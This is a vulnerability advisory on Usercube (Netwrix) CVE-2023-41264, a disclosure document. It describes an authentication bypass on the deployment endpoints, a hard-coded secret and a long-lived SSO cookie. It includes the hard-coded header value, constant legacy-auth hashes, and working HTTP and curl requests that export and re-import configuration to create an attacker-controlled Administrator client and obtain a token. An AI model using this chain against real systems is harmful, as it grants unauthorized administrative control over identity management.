Usercube (Netwrix) - Multiple vulnerabilities
28/11/2023 - Download
Product
Usercube
Severity
Critical
Fixed Version(s)
6.0.215
Affected Version(s)
<= 6.0.204
CVE Number
CVE-2023-41264
Authors
Description
Presentation
Usercube provides identity governance and administration (IGA) aimed squarely at solving the security, compliance and productivity issues associated with joiners, movers and leavers. By automating this challenging problem with a fully-SaaS solution, organizations can rest easier knowing that users are productive sooner, data is secured faster and auditors are thrilled with both.
Issue(s)
Multiple issues were identified on the on-premise version of the product:
- An authentication bypass on deployment endpoints (CVE-2023-41264).
- Presence of a hard-coded secret inside the compiled .NET libraries.
- An authentication cookie having a long lifetime when using an external identity provider.
These issues might also apply to the SaaS variant of the product but were not tested.
Timeline
Date | Description |
---|---|
2023.08.07 | Advisory sent to productsecurity@netwrix.com |
2023.08.07 | Editor acknowledged the reception of the advisory |
2023.08.30 | Netwrix answers that vulnerability #1 was already discovered internally, second vulnerability is not considered a security risk and third vulnerability fix is going to be released soon |
2023.09.27 | Netwrix published its own advisory to its customers |
2023.11.28 | Public release |
Technical details
Authentication bypass on deployment endpoints (CVE-2023-41264)
Description
The application exposes deployment endpoints:
- POST
/api/Deployment/ExportConfiguration
- POST
/api/Deployment
Both of them require authentication based on a custom mechanism, as shown by the following decompiled code from Usercube-Server.dll
(DeploymentController.cs
):
[ApiVersion("1.0")]
[AllowAnonymous]
[HttpPost]
public IActionResult Post([FromForm] IFormFile file)
{
ValueTuple<ConfigurationContext, string, string, string, string, string, string, ValueTuple<string>> elements = ConfigurationService.GetElements(this.hostEnvironment, base.HttpContext);
ConfigurationContext item = elements.Item1;
string item2 = elements.Item2; // X-Usercubeauthorization header
string item3 = elements.Item3; // Authorization header
string item4 = elements.Item4; // X-Usercubelegacy header
string item5 = elements.Item5; // environmentname
string item6 = elements.Item6; // deployment-slot header
string item7 = elements.Item7; // Host header
string item8 = elements.Rest.Item1; // tenant header
this.FillContext(item);
JwtSecurityTokenHandler tokenHandler = new JwtSecurityTokenHandler();
OpenIdTokenValidationProvider tokenValidationProvider = new OpenIdTokenValidationProvider();
return this.ValidateRequestAndDeploy(item, item2, item3, item4, item5, item6, item7, item8, tokenHandler, tokenValidationProvider, file);
}
[ApiVersion("1.0")]
[AllowAnonymous]
[Route("ExportConfiguration")]
[HttpPost]
public IActionResult ExportConfiguration()
{
ValueTuple<ConfigurationContext, string, string, string, string, string, string, ValueTuple<string>> elements = ConfigurationService.GetElements(this.hostEnvironment, base.HttpContext);
ConfigurationContext item = elements.Item1;
string item2 = elements.Item2; // X-Usercubeauthorization header
string item3 = elements.Item3; // Authorization header
string item4 = elements.Item4; // X-Usercubelegacy header
string item5 = elements.Item5; // environmentname
string item6 = elements.Item6; // deployment-slot header
string item7 = elements.Item7; // Host header
string item8 = elements.Rest.Item1; // tenant header
item.MarkExport = base.HttpContext.Request.Query.ContainsKey(ConfigurationConstants.MarkExport);
item.MarkExportRoleModel = base.HttpContext.Request.Query.ContainsKey(ConfigurationConstants.MarkRoleModelExport);
item.HandleProductTranslation = base.HttpContext.Request.Query.ContainsKey(ConfigurationConstants.HandleProductTranslation);
JwtSecurityTokenHandler tokenHandler = new JwtSecurityTokenHandler();
OpenIdTokenValidationProvider tokenValidationProvider = new OpenIdTokenValidationProvider();
string value;
bool isLegacyAuth;
if (ConfigurationService.TryGetAuthenticationError(item2, item3, item4, this.resetSettings, tokenHandler, tokenValidationProvider, this.logger, item5, out value, out isLegacyAuth))
{
return this.Unauthorized(value);
}
this.LogConfigurationRequestApproval(isLegacyAuth, tokenHandler, item3, true);
ValueTuple<string, string, int> valueTuple = this.configurationManager.Export(this.resetSettings, this.dbConfig, this.loggerTaskSettings, item);
string item9 = valueTuple.Item1;
string item10 = valueTuple.Item2;
int item11 = valueTuple.Item3;
if (item11 != 0)
{
this.logger.LogError("{Output}", new object[]
{
item9
});
return this.BadRequest(item9);
}
this.logger.LogInformation("Configuration successfully exported", Array.Empty<object>());
Stream stream = this.fileFacade.GetStream(item10, FileMode.Open, FileAccess.Write, FileShare.None);
base.Response.Headers.Add("content-disposition", "attachment; filename=" + Path.GetFileName(item10));
return this.File(stream, "application/zip", Path.GetFileName(item10));
}
The functions related to authentication are located in the ConfigurationService.cs
file:
internal static bool TryGetAuthenticationError([Nullable(2)] string secret, [Nullable(2)] string idTokenAsString, [Nullable(2)] string oldAuthHeader, ResetSettings resetSettings, JwtSecurityTokenHandler tokenHandler, ITokenValidationProvider tokenValidationProvider, ILogger logger, string environment, [Nullable(2)] [NotNullWhen(true)] out string errorMessage, out bool isLegacyAuth)
{
isLegacyAuth = false;
if (secret != "9kltub854rd36421uty5846hgdqdf")
{
errorMessage = ConfigurationConstants.InvalidUsercubeHeaderValueErrorMessage;
logger.LogError("Unauthorized Operation - Invalid Usercube Header on environment {environment}", new object[]
{
environment
});
return true;
}
List<ValueTuple<LogLevel, string>> list = new List<ValueTuple<LogLevel, string>>();
string str;
if (!ConfigurationService.TryGetOpenIdTokenError(idTokenAsString, resetSettings, tokenHandler, tokenValidationProvider, list, out str))
{
errorMessage = null;
return false;
}
isLegacyAuth = ConfigurationService.TryValidateOldAuth(oldAuthHeader, resetSettings);
if (isLegacyAuth)
{
logger.LogInformation("Configuration Deployment: Legacy authentication success.", Array.Empty<object>());
errorMessage = null;
return false;
}
errorMessage = ConfigurationConstants.InvalidOpenIdTokenErrorMessage + str;
string message = "Unauthorized Operation - Invalid Open ID Connect token ({logs}) on environment {environment}";
object[] array = new object[2];
array[0] = (from t in list
select t.Item2).ToList<string>();
array[1] = environment;
logger.LogError(message, array);
return true;
}
[...]
private static bool TryValidateOldAuth([Nullable(2)] string oldAuthHeader, ResetSettings resetSettings)
{
if (oldAuthHeader == null)
{
oldAuthHeader = string.Empty;
}
string[] source = oldAuthHeader.Split('|', StringSplitOptions.None);
string = source.ElementAtOrDefault(0) ?? string.Empty;
string b2 = source.ElementAtOrDefault(1) ?? string.Empty;
SHA512 sha = SHA512.Create();
string a = Convert.ToHexString(sha.ComputeHash(Encoding.UTF8.GetBytes(resetSettings.AuthorizedClientId)));
string a2 = Convert.ToHexString(sha.ComputeHash(Encoding.UTF8.GetBytes(resetSettings.AuthorizedClientSecret)));
return string.Equals(a, b, StringComparison.Ordinal) && string.Equals(a2, b2, StringComparison.Ordinal);
}
The previous code performs the following checks:
- The
X-Usercubeauthorization
HTTP header must be present and equal to9kltub854rd36421uty5846hgdqdf
. - If the
Authorization
header is present and valid (TryGetOpenIdTokenError
function), the user is authenticated. If not, the execution continues. - If the
X-Usercubelegacy
header is present and valid (TryValidateOldAuth
function), the user is authenticated.
Therefore, if one of the TryGetOpenIdTokenError
or TryValidateOldAuth
functions returns true
, the user is authenticated and can access the deployment endpoints.
The TryValidateOldAuth
function checks the presence of the X-Usercubelegacy
HTTP header and splits its content in two parts surrounding the |
character. Then, both values are compared with the SHA512 hashes of the restSettings.AuthorizedClientId
and restSettings.AuthorizedSecret
values. However, if these keys are not set in the application's configuration, the computed hashes both correspond to the SHA512 hash of an empty string, which is a constant value. Furthermore, these specific settings do not seem to be documented by Netwrix, and the default appsettings.json
configuration file does not include the corresponding keys.
It is therefore possible to export and import the application's configuration without prior authentication, using the constant values of the X-Usercubeauthorization
and X-Usercubelegacy
headers, without any additional information.
The following request can be performed to export the configuration:
POST /api/Deployment/ExportConfiguration?api-version=1.0&vary=en-US HTTP/1.1
Host: usercube.local:5000
X-Usercubeauthorization: 9kltub854rd36421uty5846hgdqdf
X-Usercubelegacy: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E|CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
Content-Length: 0
HTTP/1.1 200 OK
Content-Length: 7526
Content-Type: application/zip
Cache-Control: no-store,no-cache
Pragma: no-cache
Content-Disposition: attachment; filename=rcnml3mf.k2l; filename*=UTF-8''rcnml3mf.k2l
PK[...]
Impact
After exporting the configuration, it can be modified and re-imported in order to, for example:
- Add an arbitrary
OpenIdClient
with the highest privileges on the application. - Alter existing profiles to increase privileges of an existing user.
- Modify the
ApplicationName
key in theSettings.xml
to execute arbitrary JavaScript in user's browsers. - Perform Denial of Service attacks by altering or destroying parts of the configuration.
As an example, the OpenIdClient.xml
file can be modified to add a new user as follows:
<ConfigurationFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns="urn:schemas-usercube-com:configuration">
<OpenIdClient Identifier="Job" DisplayName_L1="Default Client for jobs" HashedSecret="2Xqhxl9P1DmLjZQmir5RTzFxh4/vIICmuzVPdrwEM3o=" Profile="Administrator" />
<OpenIdClient Identifier="Synacktiv" DisplayName_L1="Attacker controlled administrator" HashedSecret="Ds+i73EcRZZXio3lBwPBiifY8SZUBLjz/NrZQ7HMgzA=" Profile="Administrator" />
</ConfigurationFile>
The HashedSecret
is a Base64-encoded SHA256 digest and can be computed with the following command line:
$ echo -n 'synacktiv' | sha256sum | cut -d ' ' -f1 | xxd -r -ps | base64
Ds+i73EcRZZXio3lBwPBiifY8SZUBLjz/NrZQ7HMgzA=
Then the import functionality is used:
$ curl 'http://usercube.local:5000/api/Deployment?api-version=1.0&vary=en-US&deployment-slot=Production' -F file=@import.zip -H 'X-Usercubeauthorization: 9kltub854rd36421uty5846hgdqdf' -H 'X-Usercubelegacy: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E|CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E' -x http://127.0.0.1:8080
[13:46:22 INF] Importing the configuration from local directory ../Temp\Deployment\kt3bmqd1.2x3
[13:46:31 INF] Configuration imported
A valid access_token
can then be retrieved:
POST /Connect/Token?api-version=1.0 HTTP/1.1
Host: usercube.local:5000
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
client_id=Synacktiv@usercube&client_secret=synacktiv&grant_type=client_credentials
HTTP/1.1 200 OK
Content-Length: 1709
Content-Type: application/json;charset=UTF-8
Cache-Control: no-store
Pragma: no-cache
{
"access_token": "eyJhbGciOiJSU0EtT0FFUCIsImVuYyI6IkEyNTZDQkMtSFM1MTIiLCJraWQiOiI4ODE5MzQ5NTZENTlBM0ZCOUMxOTdEQjcwMjE1RkZCRUVEMzk2MzlBIiwidHlwIjoiYXQrand0IiwiY3R5IjoiSldUIn0.DdWJkOAGPM8p0cAHvUTQw04P8OHbwTpUAGSJHjQ8Alp_Vuyr9nEEkYIWD-z3YgC84JZGd8ASEQhTH33KB1ulr5mYzmta7KyHq9pH821g2ePqJQxKnRbp2KsnMOdalwt4wFzVmM3a8Fs36dFHu46TgoALoOB9Z5B81mboRXBwcN6PzBaJ7Yn5qJrzP5kq6zd1_CiwtxIOzvxwYS61SkObpv2uvrejEDj13uF70qzNh4x5SPA7Hm5a71TiphJxf9XbvMvTzCURr2wzPbzotKPe80h-kORvpFkHyPoA6quhWxTvRMnRvM08UDfCtIB3cgsTDnpVq5lb39zw9QPGpeNfzQ._Ima6cFoLb1Lgbtl80s3OQ.ixsRfgvRY00E-w0XS34SsNXst0rIPSC2vVheJ-Fu8ZKVBqJP1udwpQwJSMd0nHYljUf6cq882kDGwdqGyOw8TUvpQ0437eDSjw6Jn_T-XmTpBIM4x8r-pmkpC6ovVfNJHI7eAAZjFJRn3Va0vjFakV1pe6uwVovjBEsAQAtFdYzKpWL-H0xfxTaOrMHmgYuWOUTSPjpRVdbyz3HnCMm2Lph5bHROgfUd3HxMzx9IMQPgnQ6lIkyh8ERFRbX9rKpjMnA2Mer34dX0O0CJIKoByRNpq4H7cRr0KlqjVycQYLj_MpK35ePQYRQwVrIslm9Wm90KzjdDb3Zg4u3H3xjoGAt8w6lrHUpCUEVxQDxN2NK-8S-Vk-Yxam6V_VSHhFsnv0PmFn7opY27tQB1vCpHClk7-ueMwgCvlImLEV1O0eYUYsWEn78LdbLOAttIv8xfK69nGUcI7jLzB50Nmh2o3sj-UZkd3982mRtAk2_sb84l_XDVVLgmyMlUaljcmMXNw8e9jTiKAFHTBDc4mu4VzWTlnlizVXd8nll3AHz-XRj-S48vNnz3S-9Un-Q6CYbei0prvDSkDnT6PKoRhhtMNeNLR7Q-HgRMsXWzFlpx6XVKBhnMIbLFCqtFwpXHCqVG0XCtMJ26HRVxcJgJghOXYwLembFk4JxaYJADhTq_L3pwCRsrBfEkOyktRpnUMpeJkjUCUIY75w3j0CFYjez4N-IVUR0mwnmwjNqez9dp1I9jjLff3DrQuENOu1ZFM-dqIBnB5GCIOlxzhrytTIyj7Upvpq0mVm-VSh4CFLW6UUvDdhGAw-VQyS-ZJBMYtHuvxwy3C9qFb4bZHRxdTsADEU_G5lKbkQzVuDqknbdQaCc3UhT-obeFFqif_SQriNjyU3g_tjL7QLelxYQLB5KkLrLHH2wqyWZvMFQnYUYZBf1M2svGl-7QE5uL670FU3tw4BwWp8SRdkMovSwCJv4DluabSojcw_aeq9zvEA8CAaldPRDgX7u_t0fTwn9Qg7WgopwERvRr8TwR4P1Q3QZAaZ_uQhOdp43aNmtSm_1UZFw.7M_sDMi5jyALnNiHk-c9XuqlhszUrtKC8xbUcjj-GEA",
"token_type": "Bearer",
"expires_in": 3599
}
This token gives privileges of the Administrator
profile on the application, and can be used to access the web interface.
Hard-coded secret in the application
Description
As described in the first vulnerability, a secret is hard-coded in the libraries of the application and used to authenticate on the deployment functionality.
Two occurrences of this secret have been identified:
- In
Usercube-Server.dll
, in theConfigurationService.cs
file and theTryGetAuthenticationError
function. - In
Usercube.Configuration.ExecApi
, in theRemoteAuthenticationValidator.cs
file and theAddAuthenticationHeaders
function.
public void AddAuthenticationHeaders()
{
if (string.IsNullOrEmpty(this.authenticationTokenAsString) && string.IsNullOrEmpty(this.oldAuthHeader))
{
throw new ValidationException("Cannot add headers before authentication has been validated successfully.");
}
this.content.Headers.Add(ConfigurationConstants.UsercubeHeader, "9kltub854rd36421uty5846hgdqdf");
[...]
internal static bool TryGetAuthenticationError([Nullable(2)] string secret, [Nullable(2)] string idTokenAsString, [Nullable(2)] string oldAuthHeader, ResetSettings resetSettings, JwtSecurityTokenHandler tokenHandler, ITokenValidationProvider tokenValidationProvider, ILogger logger, string environment, [Nullable(2)] [NotNullWhen(true)] out string errorMessage, out bool isLegacyAuth)
{
isLegacyAuth = false;
if (secret != "9kltub854rd36421uty5846hgdqdf")
{
[...]
Impact
Because the impacted secret is hard-coded, it is the same for every customer of the Usercube solution. In this case, it would allow an attacker knowing the first vulnerability or with access to the application dynamic libraries to compromise other customers.
Lifespan of external cookie too important
Description
When the Usercube application is configured to use an external identity provider, the endpoint used to validate Single Sign-On returns an External
cookie.
For example, when using Saml2
:
POST /Saml2/Acs HTTP/2
Host: usercube.local
Content-Type: application/x-www-form-urlencoded
[...]
RelayState=cXnxj1-6U5DfT08zsLDc3VEM&SAMLResponse=PHNhbWx[...]
HTTP/2 303 See Other
Location: /Account/ExternalLoginCallback
Set-Cookie: External=CfD[...]tqw; path=/; secure; samesite=lax; httponly
[...]
Then, another call is performed to retrieve the Session
cookie that is used to authenticate the user:
GET /Account/ExternalLoginCallback HTTP/2
Host: usercube.local
Cookie: External=CfD[...]Prw;
[...]
HTTP/2 302 Found
Cache-Control: no-cache,no-store
Pragma: no-cache
Location: /resources/Directory_User?PresenceState.Id=-101%2C-102
Set-Cookie: Session=CfD[...]]Etj; path=/; secure; samesite=strict; httponly
Set-Cookie: External=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/; secure; samesite=lax; httponly
The Session
cookie has a short lifespan of 10 minutes. However, the External
cookie is valid during multiple days (at least 6 days).
Impact
If the External
cookie is retrieved by an attacker, it could be used during its lifespan to gain a valid session for the targeted user.